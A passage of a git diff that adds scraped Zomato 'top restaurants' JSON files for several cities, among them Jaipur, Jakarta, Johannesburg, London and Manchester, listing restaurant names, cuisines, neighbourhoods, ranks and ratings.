+[{"cuisine": "Rajasthani", "rank": "1", "location": "Tonk Road, Jaipur", "restaurant_name": "Chokhi Dhani", "rating": "3.7"}, {"cuisine": "North Indian", "rank": "2", "location": "Tonk Road, Jaipur", "restaurant_name": "Barbeque Nation", "rating": "3.9"}, {"cuisine": "Lounge, Lebanese, North   ", "rank": "3", "location": "C Scheme, Jaipur", "restaurant_name": "Dragon Bar", "rating": "3.3"}, {"cuisine": "North Indian, Italian,   ", "rank": "4", "location": "C Scheme, Jaipur", "restaurant_name": "Wassup", "rating": "3.2"}, {"cuisine": "Pub, Continental, Chinese,   ", "rank": "5", "location": "C Scheme, Jaipur", "restaurant_name": "100% Rock", "rating": "3.7"}, {"cuisine": "North Indian, Chinese,   ", "rank": "6", "location": "Bani Park, Jaipur", "restaurant_name": "The Forresta Kitchen &amp; Bar", "rating": "3.8"}, {"cuisine": "Chinese", "rank": "7", "location": "C Scheme, Jaipur", "restaurant_name": "Mainland China", "rating": "3.3"}, {"cuisine": "North Indian, Italian,   ", "rank": "8", "location": "C Scheme, Jaipur", "restaurant_name": "Cafe Kalapani", "rating": "3.9"}, {"cuisine": "Desserts, North Indian,   ", "rank": "9", "location": "Johari Bazar, Jaipur", "restaurant_name": "Laxmi Mishthan Bhandar", "rating": "3.2"}, {"cuisine": "North Indian, Chinese", "rank": "10", "location": "Adarsh Nagar, Jaipur", "restaurant_name": "Jaipur Jungle", "rating": "3.3"}, {"cuisine": "Lounge", "rank": "11", "location": "Tonk Road, Jaipur", "restaurant_name": "Grunge - The Fern Hotel", "rating": "3.3"}, {"cuisine": "North Indian, Mughlai,   ", "rank": "12", "location": "Amer, Jaipur", "restaurant_name": "1135 AD", "rating": "3.7"}, {"cuisine": "North Indian, Continental,   ", "rank": "13", "location": "MI Road, Jaipur", "restaurant_name": "Revolving Restaurant - Hotel Om Tower", "rating": "3.3"}, {"cuisine": "Desserts, North Indian,   ", "rank": "14", "location": "Sindhi Camp, Jaipur", "restaurant_name": "Rawat Mishthan Bhandar &amp; Restaurant", "rating": "3.5"}, {"cuisine": "North Indian, Continental,   ", "rank": "15", "location": "Tonk Road, Jaipur", "restaurant_name": "Replay", "rating": "3.7"}, {"cuisine": "North Indian, Chinese,   ", "rank": "16", "location": "Malviya Nagar, Jaipur", "restaurant_name": "Green Apple", "rating": "3.4"}, {"cuisine": "North Indian, Mughlai", "rank": "17", "location": "MI Road, Jaipur", "restaurant_name": "Handi Restaurant", "rating": "3.6"}, {"cuisine": "Cafe", "rank": "18", "location": "Lal Kothi, Jaipur", "restaurant_name": "Tapri Pratham", "rating": "3.7"}, {"cuisine": "North Indian, Chinese,   ", "rank": "19", "location": "C Scheme, Jaipur", "restaurant_name": "Four Seasons", "rating": "3.5"}, {"cuisine": "North Indian, Continental,   ", "rank": "20", "location": "Tonk Road, Jaipur", "restaurant_name": "Okra - Hotel Marriott", "rating": "4.0"}, {"cuisine": "North Indian, Italian, Chinese", "rank": "21", "location": "Malviya Nagar, Jaipur", "restaurant_name": "3 D&#039;s", "rating": "3.5"}, {"cuisine": "Lounge, North Indian, Chinese", "rank": "22", "location": "C Scheme, Jaipur", "restaurant_name": "Oopper Restro Lounge", "rating": "3.4"}, {"cuisine": "North Indian, Chinese,   ", "rank": "23", "location": "Civil Lines, Jaipur", "restaurant_name": "Spice Court", "rating": "3.9"}, {"cuisine": "North Indian, Chinese,   ", "rank": "24", "location": "Malviya Nagar, Jaipur", "restaurant_name": "Indian Spice", "rating": "3.9"}, {"cuisine": "Cafe, Bakery", "rank": "25", "location": "C Scheme, Jaipur", "restaurant_name": "Brown Sugar", "rating": "3.7"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/jakarta.json b/pyscrapper/zomato_top_restaurants/output/jakarta.json
new file mode 100755
index 00000000..8f95ed75
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/jakarta.json
@@ -0,0 +1 @@
+[{"cuisine": "French, Desserts, Bakery", "rank": "1", "location": "Senopati, Jakarta", "restaurant_name": "Cacaote", "rating": "3.6"}, {"cuisine": "Lounge, Pub, Jawa,   ", "rank": "2", "location": "Tanah Abang, Jakarta", "restaurant_name": "The Awan Lounge - Kosenda Hotel", "rating": "4.1"}, {"cuisine": "Fast Food", "rank": "3", "location": "Cibubur, Jakarta", "restaurant_name": "Richeese Factory", "rating": "3.3"}, {"cuisine": "Chinese, Western", "rank": "4", "location": "SCBD, Jakarta", "restaurant_name": "Wilshire", "rating": "3.6"}, {"cuisine": "Cafe", "rank": "5", "location": "Senayan, Jakarta", "restaurant_name": "JJ Royal Bistro", "rating": "4.0"}, {"cuisine": "Western", "rank": "6", "location": "Senopati, Jakarta", "restaurant_name": "Publico", "rating": "3.3"}, {"cuisine": "Desserts, Bakery", "rank": "7", "location": "Tebet, Jakarta", "restaurant_name": "Dapur Cokelat", "rating": "3.1"}, {"cuisine": "Western, Pub", "rank": "8", "location": "SCBD, Jakarta", "restaurant_name": "Potato Head Garage", "rating": "3.3"}, {"cuisine": "Western, Lounge", "rank": "9", "location": "SCBD, Jakarta", "restaurant_name": "Lucy in the Sky", "rating": "3.6"}, {"cuisine": "Cafe, Desserts", "rank": "10", "location": "Kemang, Jakarta", "restaurant_name": "LIN Artisan Ice Cream", "rating": "3.5"}, {"cuisine": "Vietnamese, Italian,   ", "rank": "11", "location": "SCBD, Jakarta", "restaurant_name": "Odysseia", "rating": "3.1"}, {"cuisine": "Pub", "rank": "12", "location": "Kuningan, Jakarta", "restaurant_name": "Exodus Club", "rating": "3.9"}, {"cuisine": "Pub, French, Western", "rank": "13", "location": "Senopati, Jakarta", "restaurant_name": "Le Quartier", "rating": "3.2"}, {"cuisine": "Italian, Continental, Pub,   ", "rank": "14", "location": "Thamrin, Jakarta", "restaurant_name": "Skye", "rating": "3.9"}, {"cuisine": "Sea Food, Chinese", "rank": "15", "location": "Lebak Bulus, Jakarta", "restaurant_name": "Kepiting Asap Cendrawasih Seafood R...", "rating": "3.2"}, {"cuisine": "Pub, Latin American,   ", "rank": "16", "location": "SCBD, Jakarta", "restaurant_name": "Beer Garden", "rating": "3.3"}, {"cuisine": "Cafe, Bakery, Desserts,   ", "rank": "17", "location": "Tebet, Jakarta", "restaurant_name": "Cheese Cake Factory", "rating": "3.2"}, {"cuisine": "Italian, American", "rank": "18", "location": "Melawai, Jakarta", "restaurant_name": "Mama Goose", "rating": "3.3"}, {"cuisine": "Cafe, Western, Italian,   ", "rank": "19", "location": "Thamrin, Jakarta", "restaurant_name": "Sky Pool Bar Cafe - Hotel Indonesia...", "rating": "4.2"}, {"cuisine": "Chinese, Jawa, Peranakan,   ", "rank": "20", "location": "Tanah Abang, Jakarta", "restaurant_name": "Waha Kitchen - Kosenda Hotel", "rating": "4.1"}, {"cuisine": "Western, Pub", "rank": "21", "location": "Kuningan, Jakarta", "restaurant_name": "Loewy", "rating": "3.5"}, {"cuisine": "Asian, Indonesian, Western", "rank": "22", "location": "Senayan, Jakarta", "restaurant_name": "The Cafe - Hotel Mulia", "rating": "2.8"}, {"cuisine": "Western, Lounge", "rank": "23", "location": "SCBD, Jakarta", "restaurant_name": "The Goods Diner", "rating": "3.3"}, {"cuisine": "Italian, European, Western", "rank": "24", "location": "Pondok Indah, Jakarta", "restaurant_name": "Nanny&#039;s Pavillon", "rating": "3.1"}, {"cuisine": "Continental", "rank": "25", "location": "Kuningan, Jakarta", "restaurant_name": "Otel Lobby", "rating": "3.3"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/johannesburg.json b/pyscrapper/zomato_top_restaurants/output/johannesburg.json
new file mode 100755
index 00000000..5cdba2cc
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/johannesburg.json
@@ -0,0 +1 @@
+[{"cuisine": "American", "rank": "1", "location": "Parkhurst, Johannesburg", "restaurant_name": "The Wolf Pack", "rating": "3.5"}, {"cuisine": "Italian, American, Pub", "rank": "2", "location": "Melrose Arch, Johannesburg", "restaurant_name": "JB&#039;s Corner", "rating": "3.4"}, {"cuisine": "American, Steakhouse", "rank": "3", "location": "Randpark Ridge, Johannesburg", "restaurant_name": "Chicago&#039;s Piano Bar", "rating": "3.1"}, {"cuisine": "Italian, Mediterranean,   ", "rank": "4", "location": "Morningside, Johannesburg", "restaurant_name": "Papachinos", "rating": "3.5"}, {"cuisine": "Cafe", "rank": "5", "location": "Rosebank, Johannesburg", "restaurant_name": "Tashas", "rating": "3.5"}, {"cuisine": "Pizza", "rank": "6", "location": "Fourways, Johannesburg", "restaurant_name": "Andiccio 24", "rating": "3.4"}, {"cuisine": "Burger, Pub", "rank": "7", "location": "Greenside, Johannesburg", "restaurant_name": "Dukes Burgers", "rating": "3.7"}, {"cuisine": "Lounge", "rank": "8", "location": "Rosebank, Johannesburg", "restaurant_name": "Liquid Chefs", "rating": "3.7"}, {"cuisine": "Pub, Grill House, Pizza", "rank": "9", "location": "Parkhurst, Johannesburg", "restaurant_name": "Rockets", "rating": "3.3"}, {"cuisine": "Sea Food", "rank": "10", "location": "Illovo, Johannesburg", "restaurant_name": "Fishmonger", "rating": "4.0"}, {"cuisine": "Italian, Pizza", "rank": "11", "location": "Parkhurst, Johannesburg", "restaurant_name": "Stella Luna Cornuti", "rating": "3.3"}, {"cuisine": "Italian, Pizza", "rank": "12", "location": "Bedfordview, Johannesburg", "restaurant_name": "Osteria Rossa", "rating": "3.5"}, {"cuisine": "Steakhouse", "rank": "13", "location": "Bedfordview, Johannesburg", "restaurant_name": "Turn N Tender", "rating": "3.4"}, {"cuisine": "Japanese", "rank": "14", "location": "Rivonia, Johannesburg", "restaurant_name": "Yamada Sushi", "rating": "3.3"}, {"cuisine": "Lounge", "rank": "15", "location": "Rosebank, Johannesburg", "restaurant_name": "Kong", "rating": "3.3"}, {"cuisine": "Mediterranean, Greek, Italian", "rank": "16", "location": "Edenvale, Johannesburg", "restaurant_name": "Malagueta", "rating": "2.9"}, {"cuisine": "Pub", "rank": "17", "location": "Sunninghill, Johannesburg", "restaurant_name": "OCD Cocktail Bar", "rating": "3.1"}, {"cuisine": "Fast Food", "rank": "18", "location": "Fordsburg, Johannesburg", "restaurant_name": "Akhalwaya&#039;s", "rating": "3.3"}, {"cuisine": "Contemporary", "rank": "19", "location": "Rosebank, Johannesburg", "restaurant_name": "Level Four - 54 on Bath Hotel", "rating": "3.8"}, {"cuisine": "African, European", "rank": "20", "location": "Sandown, Johannesburg", "restaurant_name": "San Restaurant - Sandton Sun Hotel", "rating": "3.9"}, {"cuisine": "Juices, Cafe", "rank": "21", "location": "Greenside, Johannesburg", "restaurant_name": "Happy.me", "rating": "3.9"}, {"cuisine": "Steakhouse", "rank": "22", "location": "Parkhurst, Johannesburg", "restaurant_name": "The Squire&#039;s Loft", "rating": "3.4"}, {"cuisine": "European, Asian,   ", "rank": "23", "location": "Melville, Johannesburg", "restaurant_name": "The Leopard", "rating": "3.6"}, {"cuisine": "European, Contemporary", "rank": "24", "location": "Morningside, Johannesburg", "restaurant_name": "Signature Restaurant", "rating": "4.3"}, {"cuisine": "Pub, Contemporary", "rank": "25", "location": "Parktown North, Johannesburg", "restaurant_name": "The Foundry", "rating": "3.5"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/kolkata.json b/pyscrapper/zomato_top_restaurants/output/kolkata.json
new file mode 100755
index 00000000..39a40e9f
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/kolkata.json
@@ -0,0 +1 @@
+[{"cuisine": "Mexican, American, Italian", "rank": "1", "location": "Beckbagan, Kolkata", "restaurant_name": "Chili&#039;s", "rating": "3.8"}, {"cuisine": "Continental, North Indian", "rank": "2", "location": "Park Street, Kolkata", "restaurant_name": "Peter Cat", "rating": "4.0"}, {"cuisine": "North Indian", "rank": "3", "location": "Sector 5, Salt Lake, Kolkata", "restaurant_name": "Barbeque Nation", "rating": "4.3"}, {"cuisine": "Chinese, North Indian", "rank": "4", "location": "Park Street, Kolkata", "restaurant_name": "Bar-B-Q", "rating": "4.0"}, {"cuisine": "Continental, Italian, North   ", "rank": "5", "location": "Park Street, Kolkata", "restaurant_name": "Mocambo", "rating": "3.9"}, {"cuisine": "Cafe, Bakery", "rank": "6", "location": "Beckbagan, Kolkata", "restaurant_name": "au bon pain", "rating": "3.6"}, {"cuisine": "Chinese", "rank": "7", "location": "Prince Anwar Shah Road, Kolkata", "restaurant_name": "Mainland China", "rating": "4.1"}, {"cuisine": "Pub, Lounge", "rank": "8", "location": "Park Street, Kolkata", "restaurant_name": "Tantra - The Park", "rating": "3.8"}, {"cuisine": "Bengali, North Indian", "rank": "9", "location": "Ballygunge, Kolkata", "restaurant_name": "6 Ballygunge Place", "rating": "3.7"}, {"cuisine": "Pub", "rank": "10", "location": "Sector 5, Salt Lake, Kolkata", "restaurant_name": "Bakstage", "rating": "3.7"}, {"cuisine": "Biryani, Mughlai, North   ", "rank": "11", "location": "Park Street, Kolkata", "restaurant_name": "Arsalan", "rating": "4.1"}, {"cuisine": "Continental, North Indian", "rank": "12", "location": "Park Street, Kolkata", "restaurant_name": "Olypub", "rating": "3.4"}, {"cuisine": "Continental, Italian,   ", "rank": "13", "location": "Salt Lake, Kolkata", "restaurant_name": "Afraa Restaurant", "rating": "3.7"}, {"cuisine": "North Indian, American", "rank": "14", "location": "Prince Anwar Shah Road, Kolkata", "restaurant_name": "Flame &amp; Grill", "rating": "3.8"}, {"cuisine": "Continental, North Indian,   ", "rank": "15", "location": "Dalhousie BBD Bagh, Kolkata", "restaurant_name": "The Bridge - Floatel", "rating": "3.7"}, {"cuisine": "Bakery", "rank": "16", "location": "New Market Area, Kolkata", "restaurant_name": "Nahoum and Sons", "rating": "4.1"}, {"cuisine": "Bengali, Sea Food, Italian", "rank": "17", "location": "Ballygunge, Kolkata", "restaurant_name": "Bohemian", "rating": "4.0"}, {"cuisine": "North Indian, Mughlai", "rank": "18", "location": "Desapriya Park, Kolkata", "restaurant_name": "Oudh 1590", "rating": "3.5"}, {"cuisine": "North Indian, Continental,   ", "rank": "19", "location": "Park Circus Area, Kolkata", "restaurant_name": "Jhaal Farezi", "rating": "3.3"}, {"cuisine": "Lounge", "rank": "20", "location": "AJC Bose Road, Kolkata", "restaurant_name": "Underground- Hotel Hindusthan Inter...", "rating": "3.3"}, {"cuisine": "Bengali, Sea Food", "rank": "21", "location": "Elgin Road, Kolkata", "restaurant_name": "Oh! Calcutta", "rating": "3.8"}, {"cuisine": "North Indian, Mughlai", "rank": "22", "location": "Salt Lake, Kolkata", "restaurant_name": "Kaafila", "rating": "4.0"}, {"cuisine": "Italian, Continental", "rank": "23", "location": "Sarat Bose Road, Kolkata", "restaurant_name": "The Corner Courtyard", "rating": "3.6"}, {"cuisine": "Asian, Fast Food", "rank": "24", "location": "Camac Street Area, Kolkata", "restaurant_name": "Shisha", "rating": "3.2"}, {"cuisine": "Continental, Italian,   ", "rank": "25", "location": "Sarat Bose Road, Kolkata", "restaurant_name": "Soho Lounge", "rating": "3.3"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/london.json b/pyscrapper/zomato_top_restaurants/output/london.json
new file mode 100755
index 00000000..9902493f
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/london.json
@@ -0,0 +1 @@
+[{"cuisine": "Indian", "rank": "1", "location": "Mayfair, London", "restaurant_name": "Gymkhana", "rating": "4.0"}, {"cuisine": "Street Food, Asian", "rank": "2", "location": "Old Street, London", "restaurant_name": "Yum Bun", "rating": "4.5"}, {"cuisine": "French", "rank": "3", "location": "Shoreditch, London", "restaurant_name": "Les Trois Garcons", "rating": "4.4"}, {"cuisine": "Italian, Pizza", "rank": "4", "location": "Farringdon, London", "restaurant_name": "Pixxa", "rating": "4.2"}, {"cuisine": "British, European", "rank": "5", "location": "Hackney Central, London", "restaurant_name": "Mayfields", "rating": "4.4"}, {"cuisine": "British, Contemporary", "rank": "6", "location": "Shoreditch, London", "restaurant_name": "Clutch", "rating": "-"}, {"cuisine": "Desserts", "rank": "7", "location": "Camden Town, London", "restaurant_name": "Chin Chin Labs", "rating": "4.5"}, {"cuisine": "British", "rank": "8", "location": "Clerkenwell, London", "restaurant_name": "The Modern Pantry", "rating": "4.1"}, {"cuisine": "French", "rank": "9", "location": "Mayfair, London", "restaurant_name": "The Greenhouse", "rating": "4.4"}, {"cuisine": "British", "rank": "10", "location": "Kensington, London", "restaurant_name": "Maggie Jones&#039;s", "rating": "4.2"}, {"cuisine": "Cafe", "rank": "11", "location": "Islington, London", "restaurant_name": "Naamyaa Cafe", "rating": "3.2"}, {"cuisine": "Indian, Mughlai", "rank": "12", "location": "Soho, London", "restaurant_name": "The Red Fort", "rating": "4.2"}, {"cuisine": "American, Sea Food, Burger", "rank": "13", "location": "Farringdon, London", "restaurant_name": "Burger &amp; Lobster", "rating": "3.6"}, {"cuisine": "Steakhouse, British", "rank": "14", "location": "Soho, London", "restaurant_name": "Pitt Cue Co.", "rating": "3.9"}, {"cuisine": "Pub, American", "rank": "15", "location": "Stratford, London", "restaurant_name": "Caf\u00e9 Football", "rating": "-"}, {"cuisine": "Contemporary, European", "rank": "16", "location": "Islington, London", "restaurant_name": "House Of Wolf", "rating": "4.2"}, {"cuisine": "European", "rank": "17", "location": "Soho, London", "restaurant_name": "Clockjack Oven", "rating": "3.4"}, {"cuisine": "British, Contemporary", "rank": "18", "location": "Clapham, London", "restaurant_name": "The Dairy", "rating": "4.1"}, {"cuisine": "Russian, Lounge", "rank": "19", "location": "Kensington, London", "restaurant_name": "Ruski&#039;s Tavern", "rating": "3.3"}, {"cuisine": "Japanese, Brazilian", "rank": "20", "location": "City of London, London", "restaurant_name": "Sushi Samba", "rating": "3.6"}, {"cuisine": "Sea Food", "rank": "21", "location": "Islington, London", "restaurant_name": "Prawn on the Lawn", "rating": "4.0"}, {"cuisine": "Spanish", "rank": "22", "location": "Fitzrovia, London", "restaurant_name": "Fino", "rating": "4.1"}, {"cuisine": "American, Burger", "rank": "23", "location": "Shoreditch, London", "restaurant_name": "Red Dog Saloon", "rating": "3.4"}, {"cuisine": "Pub, Lounge", "rank": "24", "location": "Shoreditch, London", "restaurant_name": "Far Rockaway", "rating": "3.5"}, {"cuisine": "Mexican, Cuban", "rank": "25", "location": "Westbourne Grove, London", "restaurant_name": "Loco Mexicano", "rating": "3.0"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/lucknow.json b/pyscrapper/zomato_top_restaurants/output/lucknow.json
new file mode 100755
index 00000000..96cf2c56
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/lucknow.json
@@ -0,0 +1 @@
+[{"cuisine": "North Indian, Chinese,   ", "rank": "1", "location": "Gomti Nagar, Lucknow", "restaurant_name": "Zero Degree", "rating": "3.2"}, {"cuisine": "North Indian, European,   ", "rank": "2", "location": "Gomti Nagar, Lucknow", "restaurant_name": "Barbeque Nation", "rating": "4.1"}, {"cuisine": "Mughlai, Lucknowi", "rank": "3", "location": "Aminabad, Lucknow", "restaurant_name": "Tunday Kababi", "rating": "4.2"}, {"cuisine": "North Indian, Mughlai,   ", "rank": "4", "location": "Hazratganj, Lucknow", "restaurant_name": "Royal Sky", "rating": "3.8"}, {"cuisine": "North Indian, Mughlai,   ", "rank": "5", "location": "Gomti Nagar, Lucknow", "restaurant_name": "The Spice Factory", "rating": "3.3"}, {"cuisine": "Chinese", "rank": "6", "location": "Gomti Nagar, Lucknow", "restaurant_name": "Mainland China", "rating": "3.9"}, {"cuisine": "North Indian, Mughlai, Chinese", "rank": "7", "location": "Hazratganj, Lucknow", "restaurant_name": "Aryan Family&#039;s Delight", "rating": "3.5"}, {"cuisine": "North Indian, Chinese,   ", "rank": "8", "location": "Hazratganj, Lucknow", "restaurant_name": "Blue The Lounge", "rating": "3.0"}, {"cuisine": "Continental, North Indian,   ", "rank": "9", "location": "Gomti Nagar, Lucknow", "restaurant_name": "Percussion", "rating": "3.7"}, {"cuisine": "North Indian, Continental", "rank": "10", "location": "Gomti Nagar, Lucknow", "restaurant_name": "The Urban Terrace", "rating": "3.8"}, {"cuisine": "Mughlai", "rank": "11", "location": "Hazratganj, Lucknow", "restaurant_name": "The Mughal&#039;s Dastarkhwan", "rating": "3.9"}, {"cuisine": "Lounge, Italian, Chinese,   ", "rank": "12", "location": "Alambagh, Lucknow", "restaurant_name": "5 C R Lounge", "rating": "3.4"}, {"cuisine": "Chinese, Italian, North   ", "rank": "13", "location": "Aashiana, Lucknow", "restaurant_name": "De Forbidden Lounge &amp; Disc", "rating": "3.4"}, {"cuisine": "North Indian, Chinese", "rank": "14", "location": "Hazratganj, Lucknow", "restaurant_name": "Royal Cafe", "rating": "3.9"}, {"cuisine": "North Indian", "rank": "15", "location": "Indira Nagar, Lucknow", "restaurant_name": "The Yellow Chilli", "rating": "3.3"}, {"cuisine": "North Indian, Chinese, Mughlai", "rank": "16", "location": "Aliganj, Lucknow", "restaurant_name": "Salt", "rating": "3.5"}, {"cuisine": "Cafe, Fast Food", "rank": "17", "location": "Sadar Bazaar, Lucknow", "restaurant_name": "Cappuccino Blast", "rating": "3.9"}, {"cuisine": "Indian, Lucknowi, Chinese,   ", "rank": "18", "location": "Hazratganj, Lucknow", "restaurant_name": "Cassia", "rating": "3.6"}, {"cuisine": "Lounge, Continental,   ", "rank": "19", "location": "Hazratganj, Lucknow", "restaurant_name": "Mirage Lounge", "rating": "4.1"}, {"cuisine": "Italian, Asian", "rank": "20", "location": "Gomti Nagar, Lucknow", "restaurant_name": "Gourmet Terrace", "rating": "3.5"}, {"cuisine": "Indian, Continental, Chinese", "rank": "21", "location": "Hazratganj, Lucknow", "restaurant_name": "Kool Break", "rating": "4.0"}, {"cuisine": "Lounge", "rank": "22", "location": "Hazratganj, Lucknow", "restaurant_name": "Mint Lounge", "rating": "3.4"}, {"cuisine": "North Indian, Lucknowi", "rank": "23", "location": "Hazratganj, Lucknow", "restaurant_name": "Falak Numa Restaurant - Hotel Clark...", "rating": "3.4"}, {"cuisine": "North Indian, Chinese,   ", "rank": "24", "location": "Aliganj, Lucknow", "restaurant_name": "Spades", "rating": "3.8"}, {"cuisine": "North Indian, Chinese,   ", "rank": "25", "location": "Hazratganj, Lucknow", "restaurant_name": "AmbrosiA", "rating": "3.3"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/ludhiana.json b/pyscrapper/zomato_top_restaurants/output/ludhiana.json
new file mode 100755
index 00000000..c9d65019
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/ludhiana.json
@@ -0,0 +1 @@
+[{"cuisine": "Bakery, Fast Food, Cafe,   ", "rank": "1", "location": "Sarabha Nagar, Ludhiana", "restaurant_name": "Hot Breads", "rating": "3.7"}, {"cuisine": "North Indian, Chinese", "rank": "2", "location": "Dugri, Ludhiana", "restaurant_name": "Basant Restaurant", "rating": "3.3"}, {"cuisine": "Pub", "rank": "3", "location": "Sarabha Nagar, Ludhiana", "restaurant_name": "Hype Club By DJ Aqeel", "rating": "3.2"}, {"cuisine": "North Indian, Chinese,   ", "rank": "4", "location": "Sarabha Nagar, Ludhiana", "restaurant_name": "The Machaan", "rating": "3.5"}, {"cuisine": "North Indian, Asian,   ", "rank": "5", "location": "BRS Nagar, Ludhiana", "restaurant_name": "Indian Summer", "rating": "4.1"}, {"cuisine": "North Indian, Mughlai", "rank": "6", "location": "Shastri Nagar, Ludhiana", "restaurant_name": "Aman Chicken", "rating": "3.4"}, {"cuisine": "North Indian, Chinese,   ", "rank": "7", "location": "PAU, Ludhiana", "restaurant_name": "Splitsville", "rating": "3.3"}, {"cuisine": "Mughlai, North Indian, Chinese", "rank": "8", "location": "Gurdev Nagar, Ludhiana", "restaurant_name": "B7 Restaurant", "rating": "3.8"}, {"cuisine": "Mughlai, North Indian, Chinese", "rank": "9", "location": "Sarabha Nagar, Ludhiana", "restaurant_name": "The Yellow Chilli", "rating": "3.8"}, {"cuisine": "North Indian, Mughlai", "rank": "10", "location": "Shastri Nagar, Ludhiana", "restaurant_name": "Baba Chicken", "rating": "3.9"}, {"cuisine": "African, Portuguese", "rank": "11", "location": "Sarabha Nagar, Ludhiana", "restaurant_name": "Nando&#039;s", "rating": "3.6"}, {"cuisine": "Fast Food", "rank": "12", "location": "BRS Nagar, Ludhiana", "restaurant_name": "Quiznos", "rating": "3.1"}, {"cuisine": "European, North Indian", "rank": "13", "location": "Sarabha Nagar, Ludhiana", "restaurant_name": "The Frog Prince", "rating": "3.0"}, {"cuisine": "North Indian, Chinese", "rank": "14", "location": "PAU, Ludhiana", "restaurant_name": "Las Vegas 2", "rating": "3.3"}, {"cuisine": "North Indian", "rank": "15", "location": "Dugri, Ludhiana", "restaurant_name": "Weather Spice", "rating": "3.2"}, {"cuisine": "Desserts, Bakery, Cafe", "rank": "16", "location": "Sarabha Nagar, Ludhiana", "restaurant_name": "Cake Square", "rating": "4.1"}, {"cuisine": "North Indian, Chinese", "rank": "17", "location": "BRS Nagar, Ludhiana", "restaurant_name": "Sonu&#039;s Kitchen", "rating": "3.4"}, {"cuisine": "Chinese, North Indian", "rank": "18", "location": "Sarabha Nagar, Ludhiana", "restaurant_name": "Roche Restaurant", "rating": "3.7"}, {"cuisine": "North Indian, Continental,   ", "rank": "19", "location": "Sarabha Nagar, Ludhiana", "restaurant_name": "Urban Hara -  Boutique Restaurant", "rating": "3.4"}, {"cuisine": "North Indian, Chinese,   ", "rank": "20", "location": "Civil Lines, Ludhiana", "restaurant_name": "Basant", "rating": "3.7"}, {"cuisine": "Chinese, South Indian, Fast   ", "rank": "21", "location": "Sarabha Nagar, Ludhiana", "restaurant_name": "Kipps", "rating": "3.9"}, {"cuisine": "North Indian, Mughlai, Chinese", "rank": "22", "location": "PAU, Ludhiana", "restaurant_name": "Spice Cube", "rating": "3.7"}, {"cuisine": "North Indian, Chinese,   ", "rank": "23", "location": "BRS Nagar, Ludhiana", "restaurant_name": "Red Maple", "rating": "3.3"}, {"cuisine": "North Indian", "rank": "24", "location": "Shastri Nagar, Ludhiana", "restaurant_name": "Bansi Vaishno Dhaba", "rating": "3.7"}, {"cuisine": "North Indian, Chinese,   ", "rank": "25", "location": "Gurdev Nagar, Ludhiana", "restaurant_name": "Basant Food &amp; Sweets", "rating": "3.2"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/manchester.json b/pyscrapper/zomato_top_restaurants/output/manchester.json
new file mode 100755
index 00000000..7c931ad0
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/manchester.json
@@ -0,0 +1 @@
+[{"cuisine": "Thai", "rank": "1", "location": "Shopping District, Manchester", "restaurant_name": "Chaophraya", "rating": "4.3"}, {"cuisine": "European, Italian", "rank": "2", "location": "Gay Village, Manchester", "restaurant_name": "Eden", "rating": "4.2"}, {"cuisine": "British, Pub", "rank": "3", "location": "Spinningfields, Manchester", "restaurant_name": "The Oast House", "rating": "3.7"}, {"cuisine": "Sea Food, Steakhouse,   ", "rank": "4", "location": "Spinningfields, Manchester", "restaurant_name": "Australasia", "rating": "3.7"}, {"cuisine": "British", "rank": "5", "location": "Prestwich, Manchester", "restaurant_name": "Aumbry", "rating": "-"}, {"cuisine": "Asian, Sea Food, Thai", "rank": "6", "location": "Hulme, Manchester", "restaurant_name": "Vermilion &amp; Cinnabar", "rating": "4.3"}, {"cuisine": "European", "rank": "7", "location": "Shopping District, Manchester", "restaurant_name": "Room", "rating": "4.1"}, {"cuisine": "Steakhouse, American", "rank": "8", "location": "Deansgate, Manchester", "restaurant_name": "The Grill On The Alley", "rating": "3.3"}, {"cuisine": "French", "rank": "9", "location": "Northern Quarter, Manchester", "restaurant_name": "63 Degrees", "rating": "4.0"}, {"cuisine": "Pub, British", "rank": "10", "location": "Spinningfields, Manchester", "restaurant_name": "The Alchemist", "rating": "4.1"}, {"cuisine": "British", "rank": "11", "location": "Salford, Manchester", "restaurant_name": "Damson", "rating": "3.1"}, {"cuisine": "Pub, Fast Food", "rank": "12", "location": "Chorlton, Manchester", "restaurant_name": "Morley Cheek&#039;s", "rating": "3.9"}, {"cuisine": "Australian, Asian, Lounge", "rank": "13", "location": "Spinningfields, Manchester", "restaurant_name": "Grand Pacific", "rating": "-"}, {"cuisine": "Pub, British", "rank": "14", "location": "University District, Manchester", "restaurant_name": "The Alibi", "rating": "3.8"}, {"cuisine": "British, Pub", "rank": "15", "location": "Manchester Central, Manchester", "restaurant_name": "BrewDog", "rating": "4.0"}, {"cuisine": "Japanese", "rank": "16", "location": "Victoria, Manchester", "restaurant_name": "Umezushi", "rating": "3.8"}, {"cuisine": "Pub, Danish", "rank": "17", "location": "Piccadilly, Manchester", "restaurant_name": "KRO", "rating": "3.9"}, {"cuisine": "Deli", "rank": "18", "location": "Deansgate, Manchester", "restaurant_name": "Katsouris", "rating": "4.0"}, {"cuisine": "Japanese", "rank": "19", "location": "Castlefield, Manchester", "restaurant_name": "Sapporo", "rating": "3.9"}, {"cuisine": "European", "rank": "20", "location": "Deansgate, Manchester", "restaurant_name": "2 Kozy", "rating": "4.6"}, {"cuisine": "British, Pub", "rank": "21", "location": "Fallowfield, Manchester", "restaurant_name": "Trof", "rating": "3.9"}, {"cuisine": "Spanish", "rank": "22", "location": "Deansgate, Manchester", "restaurant_name": "Evuna Bar &amp; Restaurant", "rating": "4.0"}, {"cuisine": "Italian", "rank": "23", "location": "Shopping District, Manchester", "restaurant_name": "Stock", "rating": "4.0"}, {"cuisine": "British", "rank": "24", "location": "Shopping District, Manchester", "restaurant_name": "Zinc Bar &amp; Grill", "rating": "3.7"}, {"cuisine": "Chinese", "rank": "25", "location": "Chinatown, Manchester", "restaurant_name": "Yang Sing", "rating": "4.3"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/manila.json b/pyscrapper/zomato_top_restaurants/output/manila.json
new file mode 100755
index 00000000..bd924473
